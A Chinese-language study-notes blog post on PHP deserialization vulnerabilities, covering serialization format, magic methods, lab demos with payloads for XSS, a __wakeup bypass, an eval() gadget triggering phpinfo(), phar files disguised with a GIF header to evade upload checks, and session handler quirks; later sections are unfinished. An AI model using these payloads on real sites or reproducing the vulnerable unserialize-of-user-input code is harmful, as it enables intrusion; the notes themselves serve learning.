PHP反序列化学习笔记

0x00 前言

php程序为了保存和转储对象,提供了序列化的方法,php序列化是为了在程序运行的过程中对对象进行转储而产生的。序列化可以将对象转换成字符串,但仅保留对象里的成员变量,不保留函数方法。

php序列化的函数为serialize。反序列化的函数为unserialize

0x01 序列化与反序列化

序列化

利用serialize()函数将一个对象转换为字符串形式

<?php
	class test
	{
		public $name = "0xdawn";
		public $age = "20";
	}
	$a = new test();
	$a = serialize($a);
	print_r($a);
?>

得到的结果为:

O:4:"test":2:{s:4:"name";s:6:"0xdawn";s:3:"age";s:2:"20";}
pravite和protected成员的序列化
<?php
	class test
	{
		public $name = "0xdawn";
		private $age = "20";
		protected $sex = "man";
	}
	$a = new test();
	$a = serialize($a);
	print_r($a);
?>

得到的结果为:

O:4:"test":3:{s:4:"name";s:6:"0xdawn";s:9:"testage";s:2:"20";s:6:"*sex";s:3:"man";}

private

private属性序列化的时候格式是%00类名%00成员名,所以结果为s:9:"%00test%00age"

protected

protected属性序列化的时候格式是%00*%00成员名,所以结果为s:6:"%00*%00sex"

反序列化
<?php
	class test
	{
		public $name = "0xdawn";
		private $age = "20";
		protected $sex = "man";
	}
	$a = new test();
	$a = serialize($a);
	print_r($a);
	$a = unserialize($a);
	print_r($a);
?>

注意:publicprivateprotected变量在反序列化的时候是有区别的

魔术方法
__construct():当一个对象创建时被调用
__destruct():当一个对象销毁时被调用
__toString():当类被当成字符串时调用
__sleep():执行serialize时,会先调用这个函数
__wakeup():执行unserialize,会先调用这个函数
__call():在对象中调用一个不可访问方法时调用
__callStatic():用静态方式中调用一个不可访问方法时调用
__get():获得一个类的成员变量时调用
__set():设置一个类的成员变量时调用
__isset():当对不可访问属性调用isset()或empty()时调用
__unset():当对不可访问属性调用unset()时被调用
__invoke():调用函数的方式调用一个对象时的回应方法
__set_state():调用var_export()导出类时,此静态方法会被调用
__clone():当对象复制完成时调用
__autoload():尝试加载未定义的类
__debugInfo():打印所需调试信息
<?php
    class test{
        public $a='hacked by 0xdawn';
        public $b='hacked by admin';
        public function pt(){
            echo $this->a.'<br />';
        }
        public function __construct(){
            echo '__construct<br />';
        }
        public function __destruct(){
            echo '__destruct<br />';
        }
        public function __sleep(){
            echo '__sleep<br />';
            return array('a','b');
        }
        public function __wakeup(){
            echo '__wakeup<br />';
        }
    }
    //创建对象调用__construct
    $object = new test();
    //序列化对象调用__sleep
    $serialize = serialize($object);
    //输出序列化后的字符串
    echo 'serialize: '.$serialize.'<br />';
    //反序列化对象调用__wakeup
    $unserialize=unserialize($serialize);
    //调用pt输出数据
    $unserialize->pt();
    //脚本结束调用__destruct
?>

输出结果如下:

__construct
__sleep
serialize: O:4:"test":2:{s:1:"a";s:16:"hacked by 0xdawn";s:1:"b";s:15:"hacked by admin";}
__wakeup
hacked by 0xdawn
__destruct
__destruct

0x02 php反序列化

Demo1:基础漏洞
<?php
	class A
	{
		public $test = "demo";
		function __destruct()
		{
			echo $this->test;
		}
	}
	$a = $_GET['value'];
	$a_unser = unserialize($a);
?>

利用这个反序列化代码,将需要使用的代码序列化后传入

<?php
	class A
	{
		public $test = "hacked by 0xdawn";
	}
	$a = new A();
	$a = serialize($a);
	print_r($a);
?>
//O:1:"A":1:{s:4:"test";s:16:"hacked by 0xdawn";}

在这里插入图片描述

也可以拿来xss

http://127.0.0.1/Myphp/demo1.php?value=O:1:"A":1:{s:4:"test";s:42:"<script>alert('hacked by 0xdawn')</script>";}

在这里插入图片描述

Demo2:反序列化传参
<?php
error_reporting(0);
include "flag.php";
$KEY = "D0g3!!!";
$str = $_GET['str'];
if (unserialize($str) === "$KEY")
{
    echo "$flag";
}
show_source(__FILE__);

payload:

<?php
	$a = "D0g3!!!";
	$a = serialize($a);
	echo $a;
?>
//s:7:"D0g3!!!";

在这里插入图片描述

Demo3:绕过wakeup

unserialize()会检查是否存在一个 __wakeup() 方法。如果存在,则会先调用 __wakeup() 方法

反序列化时,如果表示对象属性个数的值大于真实的属性个数时就会跳过__wakeup()的执行

<?php

class xctf
{
    public $flag = '111';
    public function __wakeup()
    {
        exit('bad requests');
    }
}

$a = new xctf();
print(serialize($a))

?>
//O:4:"xctf":1:{s:4:"flag";s:3:"111";}
//O:4:"xctf":2:{s:4:"flag";s:3:"111";}
Demo4:同名方法
<?php
    class A{
        public $target;
        function __construct(){
            $this->target = new B;
        }
        function __destruct(){
            $this->target->action();
        }
    }
    class B{
        function action(){
            echo "action B";
        }
    }
    class C{
        public $test;
        function action(){
            echo "action A";
            eval($this->test);
        }
    }
    unserialize($_GET['test']);
?>

class Bclass C有一个同名方法action,我们可以构造目标对象,使得析构函数调用class Caction方法,实现任意代码执行。利用代码如下:

<?php
    class A{
        public $target;
        function __construct(){
            $this->target = new C;
            $this->target->test = "phpinfo();";
        }
        function __destruct(){
            $this->target->action();
        }
    }
    class C{
        public $test;
        function action(){
            echo "action C";
            eval($this->test);
        }
    }
    echo serialize(new A);
?>
//O:1:%22A%22:1:{s:6:%22target%22;O:1:%22C%22:1:{s:4:%22test%22;s:10:%22phpinfo();%22;}}
http://127.0.0.1/Myphp/Demo4.php?test=O:1:%22A%22:1:{s:6:%22target%22;O:1:%22C%22:1:{s:4:%22test%22;s:10:%22phpinfo();%22;}}

0x03 phar反序列化

首推Hu3sky学长的初探phar://

phar文件简介

phar是一个合成词,由PHPArchive构成,可以看出它是php归档文件的意思(简单来说phar就是php压缩文档,不经过解压就能被 php 访问并执行)

phar的本质是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是上述攻击手法最核心的地方。

phar文件结构
  • stub

    phar文件的标志,必须以 xxx __HALT_COMPILER();?> 结尾,否则无法识别。xxx可以为自定义内容

  • manifest

    phar文件本质上是一种压缩文件,其中每个被压缩文件的权限、属性等信息都放在这部分。这部分还会以序列化的形式存储用户自定义的meta-data,这是漏洞利用最核心的地方

  • content

    被压缩文件的内容

  • signature

    签名,放在末尾

这里有两个关键点,一是文件标识,必须以__HALT_COMPILER();?>结尾,但前面的内容没有限制,也就是说我们可以轻易伪造一个图片文件或者其它文件来绕过一些上传限制;二是反序列化,phar存储的meta-data信息以序列化方式存储,当文件操作函数通过phar://伪协议解析phar文件时就会将数据反序列化,而这样的文件操作函数有很多

生成phar文件

php内置了一个phar类来处理相关操作

注意:这里要将php.ini里面的phar.readonly选项设置为Off,并把分号去掉

<?php
    class TestObject {
    }
    $phar = new Phar("phar.phar"); //后缀名必须为phar
    $phar->startBuffering();
    $phar->setStub("<?php __HALT_COMPILER(); ?>"); //设置stub
    $o = new TestObject();
    $o -> data='0xdawn';
    $phar->setMetadata($o); //将自定义的meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

访问后,会在当前目录下生成一个phar.phar文件

用winhex打开

在这里插入图片描述

可以看到meta-data是以序列化的形式存储的,有序列化数据必有反序列化操作。php一大部分的文件系统函数在通过phar://伪协议解析phar文件时,都会将meta-data进行反序列化,受影响的函数如下:

在这里插入图片描述

phar_fan.php

<?php
class TestObject{
    function __destruct()
    {
        echo $this -> data;   // TODO: Implement __destruct() method.
    }
}
include('phar://phar.phar');
?>

输出:0xdawn

在这里插入图片描述

将phar伪造成其他格式的文件

在前面分析phar的文件结构时可能会注意到,php识别phar文件是通过其文件头的stub,更确切一点来说是__HALT_COMPILER();?>这段代码,对前面的内容或者后缀名是没有要求的。那么我们就可以通过添加任意的文件头+修改后缀名的方式将phar文件伪装成其他格式的文件

<?php
    class TestObject {
    }

    @unlink("phar.phar");
    $phar = new Phar("phar.phar");
    $phar->startBuffering();
    $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); //设置stub,增加gif文件头
    $o = new TestObject();
    $phar->setMetadata($o); //将自定义meta-data存入manifest
    $phar->addFromString("test.txt", "test"); //添加要压缩的文件
    //签名自动计算
    $phar->stopBuffering();
?>

采用这种方法可以绕过很大一部分上传检测

利用条件
  • phar文件需要上传到服务器端
  • 要有可用的魔术方法作为跳板
  • 文件操作函数的参数可控,且’:’、’/’、'phar’等特殊字符没有被过滤

0x04 session反序列化

参考这篇PHP中SESSION反序列化机制

php.ini配置

php.ini中有如下六个相对重要的配置

session.save_path=""      --设置session的存储位置
session.save_handler=""   --设定用户自定义存储函数,如果想使用PHP内置session存储机制之外的可以使用这个函数
session.auto_start        --指定会话模块是否在请求开始时启动一个会话,默认值为 0,不启动
session.serialize_handler --定义用来序列化/反序列化的处理器名字,默认使用php  
session.upload_progress.enabled --启用上传进度跟踪,并填充$ _SESSION变量,默认启用
session.upload_progress.cleanup --读取所有POST数据(即完成上传)后,立即清理进度信息,默认启用

phpstudy下上述配置如下:

session.save_path = "/tmp"      --所有session文件存储在/tmp目录下
session.save_handler = files    --表明session是以文件的方式来进行存储的
session.auto_start = 0          --表明默认不启动session
session.serialize_handler = php --表明session的默认(反)序列化引擎使用的是php(反)序列化引擎
session.upload_progress.enabled on --表明允许上传进度跟踪,并填充$ _SESSION变量
session.upload_progress.cleanup on --表明所有POST数据(即完成上传)后,立即清理进度信息($ _SESSION变量)

在上述配置中,session.serialize_handler是用来设置session的序列话引擎的,除了默认的PHP引擎之外,还存在其他引擎,不同的引擎所对应的session的存储方式不相同。

  • php_binary:存储方式是,键名的长度对应的ASCII字符+键名+经过serialize()函数序列化处理的值
  • php:存储方式是,键名+竖线+经过serialize()函数序列处理的值
  • php_serialize(php>5.5.4):存储方式是,经过serialize()函数序列化处理的值

在PHP中默认使用的是PHP引擎,如果要修改为其他的引擎,只需要添加代码ini_set('session.serialize_handler', '需要设置的引擎');。示例代码如下:

<?php
ini_set('session.serialize_handler', 'php_serialize');
session_start();
// do something
session存储机制

php中的session中的内容并不是放在内存中的,而是以文件的方式来存储的,存储方式就是由配置项session.save_handler来进行确定的,默认是以文件的方式存储。 存储的文件是以sess_sessionid来进行命名的,文件的内容就是session值的序列化之后的内容。

php处理器

<?php
error_reporting(0);
ini_set('session.serialize_handler','php');
session_start();
$_SESSION['session'] = $_GET['session'];
?>

php_binary处理器

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_binary');
session_start();
$_SESSION['sessionsessionsessionsessionsession'] = $_GET['session'];
?>

php_serialize处理器

<?php
error_reporting(0);
ini_set('session.serialize_handler','php_serialize');
session_start();
$_SESSION['session'] = $_GET['session'];
?>
session反序列化漏洞利用

人有点懵,参考链接:https://xz.aliyun.com/t/6753#toc-11

0x05 反序列化pop链构造

  • 3
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值